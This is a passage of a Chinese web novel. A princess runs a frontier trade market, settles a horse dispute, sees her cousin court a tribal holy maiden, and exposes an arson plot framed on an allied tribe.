“你拿病马充好,想骗谁?!”一名年轻马商死死拽着一匹枣红马的缰绳,脸因愤怒而涨红。 对面的北夷马商脸色铁青,懂大雍话的北夷伙伴跟他翻译了年轻马商的话,他被气得不轻,生硬得吼道:“你!坏话!我的马,好!” 他的手按上腰间的刀柄,眼中喷着火。 他的马是没在与官府的交易中被选上,但它不是病马! 年轻马商身边的护卫和伙计见状立刻拥上前,双方剑拔弩张,推搡起来。 周围所有人都伸长脖子望过来,窃窃私语。空气骤然绷紧, “铛——!” 铜锣声猛地炸响,压过了所有嘈杂。 两名披甲执锐的鸾仪卫护着陆指挥使冲了过来。 陆指挥使面色冷峻,目光如电,扫过冲突双方,“有事好好说,禁止斗殴!” 两名鸾仪卫上前,强硬但公正地分开了几乎要扭打在一起的两人。 幸好考虑到北夷有许多牲畜交易,今日互市特地请了几名兽医坐镇,陆指挥使立即着人将兽医请来,最终证实那匹枣红马只是长途跋涉有些消瘦,并非病马。 年轻马商顿时羞愧地涨红面皮,拱手道歉,并主动加价要买下枣红马。北夷马商接受了道歉,坚持原价交易。 一场风波消弭于无形。 “往盛京递的奏折上,可得多夸几句陆指挥使。” 封眠瞧着陆指挥使这边灭完了火,扭头又带着人气势冲冲去追挣脱了绳子乱跑的羊羔,将自己忙得团团转,大事小事都亲自上手抓的模样,忍不住跟身侧两人笑谈了一句。 “若是我等也能上书,定要好好夸赞郡主一番才是” 一道女声自后侧方传来,封眠回身,瞧见一道明丽照人的身影。 “折夫人!你居然亲自来了!” 参加互市的商贾确实有折夫人名下店铺的掌柜,但封眠没想到折夫人本人竟也会来。 折夫人笑盈盈走近,她穿一身暗绣缠枝花纹的秋海棠红绫缎衫子,外罩浅松花色长褙子,用捻金线绣着蝶恋花图样的百迭裙步步生金,一如既往地明媚张扬,在灰扑扑的互市集市上极为亮眼。 “郡主亲自挑起的互市,我自然要来捧场的。”折夫人水润的眼波带着笑意落在封眠身上。 若说起初她将作坊让给郡主,是为了全王妃一个面子,现下不顾风霜来到这偏僻的黑石沟互市,便全是为了郡主本人。 她相信郡主的所想所谋,相信她看似纤弱的身影后藏着的魄力与远见。她愿意押上这一注,不是为了讨好谁,只因她从郡主的眼中,望见了一个从未敢想,却无比期待着的可能。 “我本也是想请你一起来的,只是听闻梁会长那里出了些事,便没好意思登门。” 折夫人作为云中郡商会梁会长的夫人,在商贾一界的影响力也是极大的,封眠之前还想着若她能在互市招商会上露个面,说不定能影响一拨人。 折夫人妩媚一笑,垂下的眼睫遮住冰冷的眼神,轻语道:“他啊,对我手底下的生意是惯不上心的。我才不去管他招惹的那堆烦心事呢。” 略带娇嗔的语气仿佛是在赌气一般。 “那夫人便与我一道……” “郡……”墨松跑到近前,不慎呛了风,一面猛咳,一面努力从嗓子眼里将话说全,“小、小侯爷他……您快去看一眼!” 60-70 第61章 墨松断断续续的一句话险些将封眠的魂儿吓得飞了出去,跟上他一路不停地飞奔到了互市入口处。 她心惊胆战地以为自己将要看见什么血腥的场面,顺着墨松手指的方向看去,却瞧见褚景淇正活蹦乱跳地被几名苍狼部侍卫围困在墙角。 是字面意义上的活蹦乱跳。 褚景淇的个子并不算矮,在大雍也是十分高挑修长的漂亮身形,只是这几名苍狼部侍卫都生得人高马大,比之足足高出了两个头去,如人墙一般压下来,将他罩得严严实实,只能不住地跳起来与外面的人喊话。 “弥荼!我就与你说两句话!你别躲着我呀!” 封眠走到近前时,褚景淇又蹦跶了两下才瞧见她,忙站稳了身形,向她求救:“小表妹,你快帮我与弥荼说一说,我就只与她说几句话,她为什么不肯见我?” 褚景淇当真是颇为委屈,昨夜他写信到寅时,今日一醒来便赶过来见弥荼,想着定要与他说清楚自己的心意。 他担心大庭广众之下谈论此事,会给她造成压力,被百姓们听去了,不知又要造什么谣,便一心想请她稍离片刻,与自己面对面单独谈一谈,结果她根本连见都不见他,指挥着侍卫就将他团团困了起来。 “那你先消停些吧 ,这样大吼大叫的,留给旁人想象的余裕可是更大了。” 封眠先安抚好了褚景淇,让墨松在旁边陪着,才转身走向弥荼。 弥荼坐在凉棚下,双手环抱盯着来来往往的人群。 她担心今日互市上北夷部族的商贾受欺负,特意在此坐镇,没想到好半晌过去,一个受了委屈来哭诉的人都没有。 只有一个聒噪的男人来打扰。 思及此,她突然意识到耳边好像没了那道上蹿下跳的声音,下意识看过去,便瞧见封眠向自己走来。 是了,他们是一家人。 弥荼一动不动,冷眼瞧着封眠走到面前,“怎么,替他做说客来了,还是打算拿出郡主的威风来压我向他道歉?” “那你可是打错注意了。” 除了阿爷,无论是大雍的皇亲国戚还是北夷的遗老贵族,都不能让她低头。 封眠轻轻摇了摇头,“圣女做什么把人想得这么坏呢?我只是以一个妹妹的身份来请求你。” “烧粮草的事已经过去了,九哥他也并不是想来向你兴师问罪。立场不同,他从始至终也未曾想过要怪你。他觉得自己皮糙肉厚,又是名男子,被骗一下也没有什么大不了的。” “那他还来纠缠什么?”弥荼挑眉,“看在你的面子上,这次我没揍他,他却说什么都不肯走,烦死了。” “有些话我也不能代劳,你若是愿意的话,便与他聊一聊吧。若是你不愿意,我现下也有法子将他劝走。但我九哥这个人有时还是有些固执的,接下来怕是日日都会来。” “短痛好过长痛,你便给他个痛快吧。” 封眠做出拜托的手势,弥荼犹豫了一下,忽然想到什么,勾唇道:“也不是不行。不过我要一百石粮食。” 她牢牢盯住封眠,“我知道,北疆缺粮,但你这位郡主可不缺。” 可真是会趁火打劫。 “可以,待互市顺利结束,你拿来我想要的种子,我们两讫。”封眠点头应了。 粮食的钱晚些去找褚景淇结清就是了。 她答应得太爽快,弥荼都愣了片刻,疑心自己是不是要少了,“你们兄妹感情倒是真好。” 以前一年才见一次,真有多少情谊倒不见得。但自打封眠来了北疆,几次遇见褚景淇,他都是以绝对的真心相待。 真心总是能换来真心,过去十几年的除夕聚宴,也不如这几月的偶然相处来得深刻。 “或许我说了你也未必信,与他多相处些你便直到了,九哥其实还是个很好的人。” 弥荼没接话,吩咐身旁人看好凉棚,兀自起身去寻褚景淇。 封眠遥遥望见褚景淇被放出来后欣喜得展颜,领着弥荼往停在僻静处的马车前,还不忘遥遥冲封眠抱了抱拳以示感谢。 “郡主,咱们不跟着吗?”流萤小小声问。 “放心吧,圣女有分寸,不会对九哥动手的。”封眠准备继续回互市上逛一逛,接下来的事就不是她能操心的了。 流萤轻轻地“啊”了一声,原来郡主担心的是小侯爷啊。 也是,小侯爷虽是男子,但手无缚鸡之力,圣女虽是女子,瞧着却是很能打的样子。 “很能打”的圣女弥荼跟着褚景淇上了马车,大马金刀一坐,扬一扬下巴,“说吧。” 她这番姿态与化名“涂宓”时很不一样,涂宓也是明艳的,但敛去了周身张扬的刺,多了些刻意模仿的小女儿温柔的情态。 如今做回弥荼,她也懒得再做任何掩饰。 褚景淇眼也不眨地瞧她,腰背挺直坐得规矩,张扬的羽毛都收敛了起来,点点红晕自脖颈处蔓上来,回忆了一下打了一晚上的腹稿,勇敢开口:“我喜欢你。” 弥荼面上一僵,还未开口便听褚景淇一口气说完了剩下的话。 “我已经给母妃写了信告知她我对你的心意,不会让她从旁处听说些对你不好的传言,做出对你不好的事。” “我是真心实意喜欢你,以与你成亲为前提向你表明心意,绝不会做始乱终弃的负心汉。”他说罢急匆匆地补充,“当然了,这是在你同样喜欢我的前提下,若只有我单方面喜欢你,那断是做不成负心汉的。” 后半句声音放轻了些,有些失落。 转而又振作起来,“你不必现在就回答我,我只是想让你知道我喜欢你,给我一个追求你的机会,可以吗?” 他期待地望着弥荼,心里疯狂许愿:现在就答应我现在就答应我现在就答应我! “我不是涂宓。”弥荼皱着眉,硬邦邦道,“你喜欢的人也不是我。” “在我眼里你们就是同一个人。你是涂宓时我喜欢,是弥荼时我也喜欢,是什么样子我都喜欢。” 喜欢一旦说出口,再说起来更是全无压力,褚景淇把它当口头禅一样说。 弥荼捂住了耳朵。 褚景淇闭嘴了,憋了半晌还是问:“行吗?” 弥荼思考了半晌,想起来封眠说大雍人都会种地,遂问:“你会种地吗?” 褚景淇两眼茫然地看着弥荼,转瞬目光坚毅道:“我可以学!” 啧,果然是在骗她。 “话说完了?我走了。”弥荼转身下马车,走得毫不犹豫。 咦,她没有直接拒绝!有时候没有直接拒绝,便大致是默许了。 褚景淇瞬时精神抖擞起来,兴致勃勃去找封眠讨教应该送些什么东西让弥荼高兴,便收到了封眠新鲜写就的账单。 “粮食嘛,她定会喜欢的。” 不过这样纯送也不是办法,封眠催他去帮弥荼选购一些种子,说不定能帮忙找到一些北夷部族也能种的食物,到时候他们就能自给自足了。 褚景淇想到弥荼问他会不会种地,顿时来了兴致,看来她不是随便问问而已,这果然是一条加分项! “若是真有这种种子,可一定要教我怎么种!最好再派我去苍狼部教他们如何种,这样我便有机会在弥荼面前好好表现一番了。” 想开屏的心思直接写在了脸上。 虽然这事还得报过舅舅才能作数,但现下封眠自然是什么都应了,她目送着喜气洋洋的褚景淇没入来往商贾之中,心下想着,若此事能成,也要在舅舅面前夸一夸褚景淇,免得他日后说要去“和亲”,再被当成了胡言乱语。 “郡主想要什么样的种子?”陆鸣竹积极问道,“我也可以帮忙去挑挑看。” 目前来看第一日互市极为成功,日后想来会有越来越多的商贾赶来,多一些人搜罗倒也是更好些。 封眠:“只要是没见过的种子都可以。” 广撒网,多捞种。 她若直接描述出种子的模样,要如何解释她竟会认识这种从未在大雍出现过的作物? 顾春温是户部的官员,隐约猜到封眠或许是从什么地方知晓了一些新奇的作物,便主动问道:“若是寻到了种子,是不是要寻专人来试种一番?需不需要我从户部帮郡主调一些人过来帮忙?” “可以吗?”封眠眼睛一亮,毕竟还没有什么成果可以展示,她都没好意思提向户部借人。 顾春温含笑回道:“陛下派我来时便吩咐过,郡主有何需求,都须尽力满足。调人这等小事,自然不成问题。” 封眠欣喜道:“那太好了!如此便能省去不少周折。” 顾春温将此事仔细记下,转头望了一眼褚景淇离去的方向,忽有些感慨:“没想到小侯爷竟是如此钟情之人。若能寻到心爱之人,与之相守一生,对任何人而言,都实属难得的缘分。” 封眠轻轻一叹,应道:“是啊,能遇见心爱之人,就已经不是件易事。” 顾春温细细品味她说话时的语气与神态,心下微动:郡主好似对百里浔舟并无什么别样的情愫。 傍晚时分,集市陆续收摊,人群渐散。 为方便互市往来,不少客商都借住在附近州郡的驿站,返程仍需赶上一段路。 幸而有疾羽营和鸾仪卫一路护送,令满载而归的众人安心不少。 封眠回到驿站便早早洗漱完毕,卸下一身疲惫,舒舒服服窝在椅中,提笔给百里浔舟写这一日的所见所闻。 烛火忽然“啪”地爆了一下灯花。 她微微一怔,恍惚间竟以为有人轻叩窗棂,不由抬头望去。心下明知不可能,却还是忍不住起身,支起了窗。 窗外夜凉如水,静谧无人。 封眠忽地忍不住好笑,正要关窗, 忽瞧见远处火光隐现。 第62章 “是何处着火了?伤着人没有?” 封眠重新穿好外出的衣裳跑下楼,顾不得什么仪容仪态,人未至声先至。跑下楼梯时还险些踩空,惊得一旁早已等在楼下的顾春温和陆鸣竹忙伸出手来。 封眠自行扶着扶手站稳了。 前来传信的侍卫满身烟尘,弯腰向封眠行礼,“着火的是雀南商栈,幸而火势不算大的时候就被人发现了,只有几名客商受了点轻伤。” “备车,我现在要亲自过去。”封眠大步向外走去,众人纷纷跟上。 侍卫疾步追在封眠身侧,接着汇报道:“在火源附近我们抓到了一个行迹可疑的人。” 被抓住的青年穿一身靛蓝直裰,眉目英挺,虽是满身烟尘,衣裳上还被烧出了几个洞,被两名侍卫押着站在刚扑灭火的商栈旁,但略微懒散的站姿中偏生透出一股说不清道不明的气质。 听见有人走近的声音,他眼皮也未抬,拖着字音道:“都说了不是我放的火,你们还要问几遍。” 封眠:“那你是何人,为何出现在此处?” 听见封眠的声音,他微不可察地顿了一下,才缓缓抬起眼皮,看人时眼中带着三分不在意七分兴味,“你便是清平郡主,北疆的世子妃?” 封眠不奇怪他为何会知道自己的身份,北疆人人都知道互市是郡主主办,见到一个此时此刻赶来问话的年轻姑娘,傻子也猜得出来她的身份。 她对他的话不予理睬,只道:“你还没有回答我的问题。” “你是何人?” 青年略微站直了些,唇角要笑不笑地弯着,“傅辞偃。路人,瞧见起火了,便进来救人。” “这年头,做点好事也要被这样误会了?” 封面细细观他神色,他的目光不闪不避,眸光清亮,并不像是说谎的模样。 封眠确认自己从来没有见过他,但不知为何,看着他的面容,总觉得他有点眼熟。 “我们是否曾在何处见过?” 或许只是她忘记了。 傅辞偃唇边的笑意又深了些,“草民一介布衣,如何有幸得见贵女容颜?” 他嬉笑道:“郡主殿下便是想与草民搭话,也不必挑个如此烂俗的借口。” “放肆!”顾春温上前挡住他看向封眠的目光,平日时常带着温和笑意的眸子,瞬间结了一层薄冰。 傅辞偃混不吝一般地将顾春温打量了一遍,目光在他手上转了两圈,懒散道:“这位不是百里世子吧,不知是哪位大人?” “与你何干?” 顾春温的声音都变成了一汪冰水,转而与封眠说话时才恢复了常有的温度,“郡主,虽然此人说火并不是他放的,但他行迹确实可疑,还是先关押起来,待查证过现场痕迹和商栈人证再说。” 封眠收回打量着傅辞偃的目光,点了点头,正要示意侍卫将人押下去,另一名侍卫领着名大雍的商贾过来了。 中年商贾的脸上满是愤愤之色,一瞧见被簇拥在中间的封眠便嚷了起来,“郡主!郡主您可要为我们做主啊!” 他扑通一声就要跪下,封眠忙虚虚扶了一下,“起来说话。” 两侧侍卫将他搀了起来,他立即铿锵有力地控诉道:“是苍狼部那群畜生!我亲眼看见一个穿着打扮和苍狼部一模一样的人在商栈内鬼鬼祟祟地转悠,就在那一片!” 中年商贾说着把众人往烧焦的商栈方向引了引,指着一片烧得格外严重的地方给众人看。 此处几乎烧塌了,目光所及,尽是触目惊心的黑。 侍卫悄悄凑近封眠,耳语道:“经判断,此处大概率是起火的地方。” 那中年商贾还在喋喋不休,“苍狼部都敢烧云中郡的粮草!还有什么事是做不出的!我看这次也是他们干的!” 余烟尚未散尽,空气中满是木材燃烧后呛人的焦苦。 封眠闻了有些难受,抬袖掩了一下口鼻。 忽然一阵风迎面吹来,旋起一小股黑灰,卷向封眠的方向。 一直分神关注着她的顾春温当即展袖,替她挡住了铺面而来的灰尘余烬。 “郡主,我们去旁边说话。”他护着封眠向一旁走开两步。 远离了满是飞灰的商栈,空气豁然开朗。 封眠凝眸观察着中年商贾的神色,苍狼部确实有放火烧粮草的前科,但此事在当日驿站内褚景淇认出弥荼之前,无人知晓。而那之后为了互市的稳定,她命在场众人都不许泄露此事。 “你怎么知道他们烧过粮草?” 中年商贾面上并无惊慌等神色,认真做着回忆,道:“今日散市后,大家都聚在大堂饮酒用饭,有一名游商带着小厮恰好从我后头路过,两人争执着要不要与苍狼部的人做交易,提到了苍狼部曾放火烧粮草一事。” 他有些不快,带着点埋怨道:“若不是无意听见,我等现下还被郡主瞒在鼓里呢。郡主您怎么能同意与那等狼心狗肺表里不一之人互市呢!” 凌空一道亮鞭声如惊雷炸响,惊得中年商贾缩着脖子躲到了身旁侍卫的身后。 “狼心狗肺表里不一是说谁?”弥荼带着几名近侍阔步走近,面色紧绷,满布冰霜,她眼风扫过那名鹌鹑一般的中年商贾,“一人做事一人当,粮草是我烧的,我认错赔偿。但今日这场火,谁也别想栽在我苍狼部的头上!” 封眠心中暗忖:苍狼部既已主动说服其余六部一同前来参加互市,便是主动向大雍释放出友好信号,已然公开了与阿尔纳部全然不同的信号,必然会被其视为眼中钉,又何必要大费周章纵火破坏互市? 这于情于理都说不通。 纷乱杂沓的脚步声渐近,一群大雍商贾举着火把聚集而来,他们中有些人形容狼狈,身上麻布裹着伤口,显然是在方才的火灾中受了伤。 他们群情激奋,七嘴八舌地嚷着,“分明有人瞧见了你们的人在此处鬼鬼祟祟,你们又不住在这里,不是来放火的,是来偷东西的不成!” “我们千里迢迢带来的货物,全都被你们给毁了!” “我看你们从一开始就不怀好意包藏祸心!来参加互市根本不是来做生意的,就是想要破坏互市!” “就应该把他们都抓起来,让他们有来无回!” “对!抓起来!” 举着火把的人群愤怒地涌上前,拦截的侍卫不敢伤人,步步后退。 弥荼高举起长鞭,已然做好背水一战的准备。 “都……”封眠上前一步正要喝令众人冷静,一阵马蹄声打断了她的声音。 “都冷静点!”策马狂奔而来的褚景淇一面狼狈地翻身下马,一面拉长了声音怒吼一声。 他束发都是歪的,衣裳凌乱地裹在身上,两只靴子还穿反了,形象全无。他是在睡梦中被墨松摇醒的,听闻弥荼出了事,踩了鞋、套上衣裳就往外跑。 褚景淇一脚深一脚浅地跑到弥荼身前,将她挡在身后,拧着眉冲商贾们喊:“此事官府都还没给出定论,你们倒是在此喊打喊杀上了,被人当靶子使了都不知道!” 他还抽空回头跟弥荼小声道:“别怕,我相信这场火肯定 跟你们没关系!” 对面商贾们自然听不进去他的劝,不过倒是将怒火都集中到了他的身上,“你那么护着苍狼部,莫不是叛国的奸细吧!” “你们这么急着要根据几句话就给人定罪,莫不是叛国的奸细吧!” 褚景淇就这么与人群对“骂”了起来,身后好不容易追上来的墨松一眼瞧见他的衣领,惊得冲上来挡住他的身子就开始给他重新穿外裳。 小祖宗一着急将衣领穿成了左衽,在大雍左衽可是给死人穿的!传到王妃耳朵里,他的屁股就保不住了! 弥荼看着个子高挑的褚景淇将她遮得严严实实,冲在前头,一点小侯爷的样子都没有的与人骂架,心下颇为复杂,手中的鞭子都甩不出去了。 喧闹的人群后,封眠头疼地揉了揉额角。 她看得清这背后定然有人挑拨,而罪魁是什么人也几乎呼之欲出,然而现下任何发言与论断都不如证据来得实在,得让这群人安静下来…… “咣当”一声锣响,惊得众人纷纷收声。 封眠扭头看去,陆鸣竹手上拿着锣槌,他喊人搬来了开市时敲响的锣,此刻已满头大汗。 顾春温与他对视一眼,适时开口道:“诸位都请冷静,你们说看见了苍狼部人行踪鬼祟,苍狼部可疑。而侍卫却又当场逮住了这位形迹可疑的傅公子,他亦是可疑之人。” 仍被两名侍卫押着的傅辞偃耸了耸肩。 顾春温:“今夜事端诸多,众说纷纭,总要给我们一些调查的时间。” 封眠朗声接道:“我在此向诸位保证,最迟十二个时辰内,定给大家一个交代!今日诸位的损失,可先行登记下来,明日我亦会依次给诸位进行赔付,定不让大家吃亏!” 商贾们你看我我看你,没了声音。陆鸣竹“铛铛”又敲了两声锣,“诸位要登记的跟我来。” 人群松动下来,开始有人陆续走向陆鸣竹的方向。 褚景淇松了口气,摸了摸喊的有些痛的喉咙,便觉后背被人戳了一下,他回头,与弥荼对视上。 弥荼直言问道:“你说信我,只是因为喜欢我才这么说的吧?” 褚景淇瞪圆了眼,“我信你就是因为信你,便是不喜欢你,今日我也信你!” 他说罢觉得不对,又补充道,“当然了,我不可能会不喜欢你。” 弥荼没说话,哼了一声,扭头看向走近的封眠。 封眠:“还请圣女配合一二,暂时请苍狼部的所有人都待在一起,给我们一些时间,容我们查明真正的纵火之人。” 若是以往,弥荼定会抗拒这种与软禁关押无异的提议,但如今褚景淇说信她,封眠话音中的意思也是相信纵火的另有其人,便无可无不可地点了点头。 “我的耐心也只有十二个时辰。” 第63章 “我说什么来着?”傅辞偃懒洋洋地寻了个椅子坐下,单手支颐,英挺的眉目带着几许倦意,“都说我是去救人的,你们偏不信。” 将众人情绪都安抚下来之后,总算有时间详细检查现场,并对火场中的伤患进行询问。 其中有三名伤者都作证,是一名身穿靛蓝直裰的年轻人将他们救出了火场。 顾春温和侍卫领着傅辞偃去给他们认过,确认他确实是在火场内救人,而非放火,便洗清了他身上的嫌疑。 “你现在可以走了。”封眠提醒道,有些看不惯他如此自在舒适仿佛身处自己家里的模样。 傅辞偃伸出食指摇了摇,“是你们误会了我,轻飘飘一句‘无罪释放’,就想打发我?” 封眠:“你待如何?” “我总要知道自己是在替什么人背锅吧?”傅辞偃翘起了二郎腿,小小地打了个哈欠,偏头冲封眠眨了眨眼,一副没甚正形的模样,“郡主如此大度,应当不会介意我在此旁观片刻吧?” 顾春温打量着他,觉得此人奇怪得很,身上混杂着十分矛盾的气质,说他轻浮浪荡,英挺的眉目却又十分正气,说他身有贵气,又常坐没坐相,站没站相。 他手上有着薄茧,分明是习武之人,但被抓时丝毫没有反抗之意,只懒懒地为自己辩解几句,仿佛一切随意,并不在乎结果如何。似乎万般事过眼,皆不能在心上留下痕迹。 偏偏唯独对封眠颇为在意的模样。 顾春温可以十分肯定地说,盛京城中没有出现过这号人物,他不可能与封眠是旧识。 也不对,听说封眠幼时曾离宫出走过几个月,难道是那时认识的? 封眠心下也如此怀疑过,但她虽然已经不记得幼时一同被关在山洞中的那个小男孩的相貌和名姓,却记得他也只比自己大了两三岁。傅辞偃已经二十五了,年纪怎么也是对不上号的。 “你随意。” 再有一个时辰,天便要亮了。 她虽然许诺说十二个时辰内查清真相,但若天亮前此事还没有个定论,势必会影响一整日的互市。大雍和北夷两方的人都会在心里对彼此打嘀咕,若再吵起来打起来,这怨怒之情可就要越积越深了。 所以封眠打算在天亮之前将真凶钓出来,没心情再与傅辞偃周旋。 她提笔将发生的事情和困惑之处一一写下,既不耽误给百里浔舟送信,又能梳理思绪。 坐在不远处的傅辞偃伸长了脖子探头探脑地想瞧她在写什么,眼前划过一片暗绣云纹的袍角,顺着抬起头,方才带着他去给人认脸的那位顾大人径自站到了他的面前,将他的视线遮得严严实实。 切,又不是郡主那位世子夫君,在这里严防死守什么呢? 傅辞偃轻哼一声,撤身摊回椅子里。 敞开的大门被轻叩了两下,陆鸣竹领着风甲和风乙回来了。 “郡主,没有找到最初传出苍狼部曾火烧粮仓消息的那名游商。”陆鸣竹带着人将最近的两个商栈也翻了个遍,一个可疑的人都没找到。 “跑得倒快。” 他们一定提前摸熟了地形,向周边再排查下去,也只是大海捞针,做无用功。必须得想个法子守株待兔,让他们自己撞上门来。 封眠若有所思地看向傅辞偃,“傅公子既然留下了,不如就帮我一个忙吧。” 天边微微泛起了鱼肚白,一夜难以入眠的商贾们聚在临时搭起的棚屋之下交头接耳。 “听说了吗?已经找到足以证明这场火不是苍狼部放的人证和物证了。郡主说辰时便要叫咱们一起去看。” “真的假的?这么快就查出来了?” “别是随便找了个人,捏造的证据吧?我看苍狼部不是什么好东西,定然就是他们干的!” “就是,都烧成那样子了,还能找出什么物证来?我看就是随口一说,向让咱们闭嘴罢了。” “货真价实千真万确!你现在急什么急,待辰时郡主若是拿不出证据,你们再闹也不晚!” “行,那咱们就等着瞧,倒时我定然苍狼部那帮混蛋好看!” 这消息一传十十传百,转眼间便传出了商栈。 一道如同拾荒者的身影缓缓走进了某处低洼的山洞里,等在里面的人激动地倾身迎上来,“怎么样?接应的人来了吗?” 来人摇摇头,低哑道:“出了问题,大雍那边找到了证据,得处理掉。” “不可能!我们行事这么小心,怎么可能留下什么证据!”等待的人情绪激动,“大雍人心思很多,会不会是骗我们的?” “不管是真是假,都要去看一遍才能放心,否则如果真的留下了证据,就白干了!”来人咬一咬牙,“我去!伊丹,你在外头放风,我若被抓了,你就杀了我,立刻走!” “阿古尔!” “为了真神的荣耀!”阿古尔握住伊丹的手,眼中带着赴死的决心。 距辰时还有一炷香之际,一道人影趁换防之际,卡在视觉盲区,灵巧地翻入后院柴房处,侧耳贴在边沿的小窗上,听见里面传来不停歇的咒骂声。 “老子是证人又不是犯人,至于把我跟证据这么看在一处吗?要不是我看穿了阿尔纳部人的伪装,你们找得着这证据吗你们!” 窗边的阿古尔眸中闪过一丝厉色,小心翼翼翻窗而入,刚一落地,颈上便横过一道长剑。 傅辞偃挑了挑英挺的眉,“阿尔纳部的小鱼可真是好钓。” 阿古尔眼 神一狠,猛地向前往剑上撞,傅辞偃及时收剑,脚下腾挪转身,“啪”一下将人反身摁倒,“现在你还不能死,忍忍吧,一个时辰之后再死也来得及!” 敞开的窗外,一道箭簇迎着朝阳反射的微光闪现。 伊丹躲在附近一座飞起的塔楼高处,搭弓引箭,瞄准了远处阿古尔的头,他咬了咬牙,正要松弦,一道身影忽地从下翻了上来,一脚踹翻了他的弓箭,同时将他砸倒在地,双腿绞住了他的脖子。 “兄弟,站得高,摔得疼,你听过没有?” 辰时,当众人再聚在商栈废墟之前时,两名伪装成苍狼部的阿尔纳部人被押了上来。 阿尔纳部人长到五岁便会在耳后用一种特殊的颜料刺青,两人身份辨无可辨。更兼之顾春温带人循着他们的踪迹找到了藏起来的纵火用具,至此真相大白。 苍狼部众人扬眉吐气,“放火的人是阿尔纳部的!关我们苍狼部什么事!” 之前质疑、辱骂过苍狼部的商贾无需示意,主动站出来向苍狼部众人道歉。 褚景淇立刻将这件事编成了顺口溜,苍狼部成了苦主,阿尔纳部是那凶神恶煞挑拨离间的恶狼,然后花钱雇人去四处传播。 “好事不出门,坏事传千里。咱们这里人多嘴杂的,谁知道最后外头传的会是哪个版本的故事?再叫有心人给苍狼部也泼上一盆脏水,这真相不是就白查了吗?必须先下手为强,抢占谣言……不是,抢占真相市场!” 伴着这份新鲜出炉的顺口溜,“阿尔纳部派人火烧大雍商栈意图嫁祸苍狼部,大雍彻查到底还苍狼部清白”的热闹事儿就广为流传了出去。 第二日的互市依然热闹开场,两边商贾交易之时还不时就此事发表议论,主要围绕着“心疼苍狼部”、“赞美大雍”、“痛斥阿尔纳部”几个话题。 当人们有了共同讨厌的人时,通过同仇敌忾的痛骂,彼此之间的关系便会飞速拉近,这一天的互市比第一日还要和谐百倍。 在火烧商栈一事中受到了损失的商贾们自封眠处结清了赔付款,便冲进互市北夷商区大买特买,将误解苍狼部的愧疚尽数化为真金白银的消费,收获满满地准备南下售货,并许诺会将这个故事一同带去,让更多人知道阿尔纳部的可恶嘴脸! 未参加此次互市的其他北夷部族也逐渐听说了阿尔纳部陷害苍狼部一事,多数较为中立的部族都十分震惊,事发时苍狼部等七个部族还在大雍境内,如果大雍人真的认为是苍狼部挑起事端,这七个部族恐怕都不会有好下场! 尽管北夷分裂成了三十六部,但曾经都是同胞,信仰着相同的神明,再往上细数几十辈,说不定还是同一个祖先,在北夷内部彼此有争端,那时部族之间为了生存而战,在大雍面前对其他部族使用如此不耻的手段,焉知日后若他们答应与阿尔纳部合作,会不会成为他们手下随时可以牺牲的棋子? 有好几个部族都打消了与阿尔纳部合作,一同攻打大雍的心思。剩下的部族也开始犹豫,摇摆不定。 封眠的信件和前哨的军报前后脚送到百里浔舟的手上,他笑得前仰后合,“什么叫搬起石头砸自己的脚?精彩,真是精彩!” 姚知远畅快地奖励自己开了一盒留给明日的点心,“郡主这互市办得真是妙极。” “那是自然。”百里浔舟眉眼带笑,垂首继续仔细地看信。 自拿到信,还未看内容,他的唇角便翘得落不下去。入手厚实,显然写了好几页纸,与往日递来的薄薄一张字条简直不可同日而语! 这一点小小的不同,已足以让他高兴一整日。 然后瞧着瞧着,他的嘴角蓦地又抿得平直了。 封眠的信写得如同日记一般,顾春温和陆鸣竹时有出场,只这两个都是老熟人了,在信上见一见还影响不了他的性情,这突然冒出来的傅辞偃又是什么人? 第64章 傅辞偃到底是什么人? 夜半,百里浔舟躺在床上辗转反侧,一闭上眼睛,脑海里便会冒出这一句话。 他越是想要静下心来,清空思绪,就是越是不可抑制地想起这句话。心愈浮,气愈燥,像烙饼一样翻来覆去。 最后干脆放弃挣扎,睁开眼睛,苦恼地盯着头顶的床帐。 明日好像也没什么特别紧急的事物,阿尔纳部吃了大瘪,应当会安分几日,若他现在出发的话,赶一赶,说不定能在天亮时抵达黑石沟。 可他这时候以什么理由冲过去呢?只是因为一个在信上见过名字的傅辞偃,也显得他太不稳重太过小肚鸡肠。封眠会不会烦他? 他想要封眠给自己写信,只是觉得见字如面,读信时就好像能听见她在自己耳边轻声说话一般。而且只要一想到无论如何,在给自己写信时,她心中必然是念着他的,便觉得心口丰盈轻快起来,并不是想要以此来监控她的一举一动。 若只是读了封信,便不管不顾地跑过去了,惹人厌烦,日后她不愿意写信了怎么办? 兵法有云,兵法有云…… 百里浔舟脑中空白一片,想不出什么兵法了,憋闷地叹气,都开始略略有些羡慕褚景淇这个富贵闲人了,整日在外头游荡,想去追心上人,便拔腿追去了。 他却脱不开身…… 他眸光一顿,忽然生了歹心。 他去不了,但府上那么多家丁仆厮,都可以派去给他增加一些存在感啊。 又是晴朗一日,天边云絮厚软,轻飘飘地荡过澄澈的天穹。 黑石沟,封眠提着葱白裙摆下楼,雾柳恰好将刚煮好的药从厨房端了出来。 近两日风沙大了些,封眠不想频频开窗,导致屋内积一层薄沙,还要人费心清理,便干脆坐到大堂里喝今日的汤药,左右驿站内都没什么外人。 哦,还是有一个的。 一道懒散的身影拖着步子走了过来,傅辞偃凑到刚在桌边落座的封眠身侧,探头看一眼她面前黑乎乎的药碗。 火烧商栈的事情已经落幕,傅辞偃身上的污名洗清,害他背锅的罪魁祸首也已经被揪了出来,按他之前的说辞,他也应该离开了。 但顾春温和陆鸣竹明里暗里地示意他可以离开去忙自己的事了,他却道:“我还未曾见过互市,这么大的热闹总不能一眼都没看就离开吧?那也太可惜了。” “是你们将我抓来的,光找到让我背锅的祸首也不足以弥补我心里的苦。” 谁也看不出来他心里如何苦了,但他偏要赖着与他们同住,总不能强行将人赶出去。 “是药三分毒,你病了吗就胡乱吃药?”傅辞偃皱着眉心,七分嫌弃下暗暗藏着三分关切。 瞧这弱唧唧的模样,腕骨细的骨节都突出来了,小脸上也没有二两肉,定是吃药吃的。 封眠一手拿着汤匙搅着碗中热腾腾的药,等它晾凉,“并非治病的药,近日事情杂乱费神,容易生病,便喝些汤药预防病灶。我体弱,从小喝惯了的,没事。” “觉得累了就去休息,按时睡觉按点用膳,吃药预防是什么主意?净搞这些没用的……”傅辞偃语气不大好地嘀咕着,愈发坚定了自己方才的想法,就是从小一直吃药,才将她吃成了一副瘦伶伶的模样。 他忍不住了,忽然问道,“皇帝陛下不会就是这般教你的吧?” “当啷”一声, 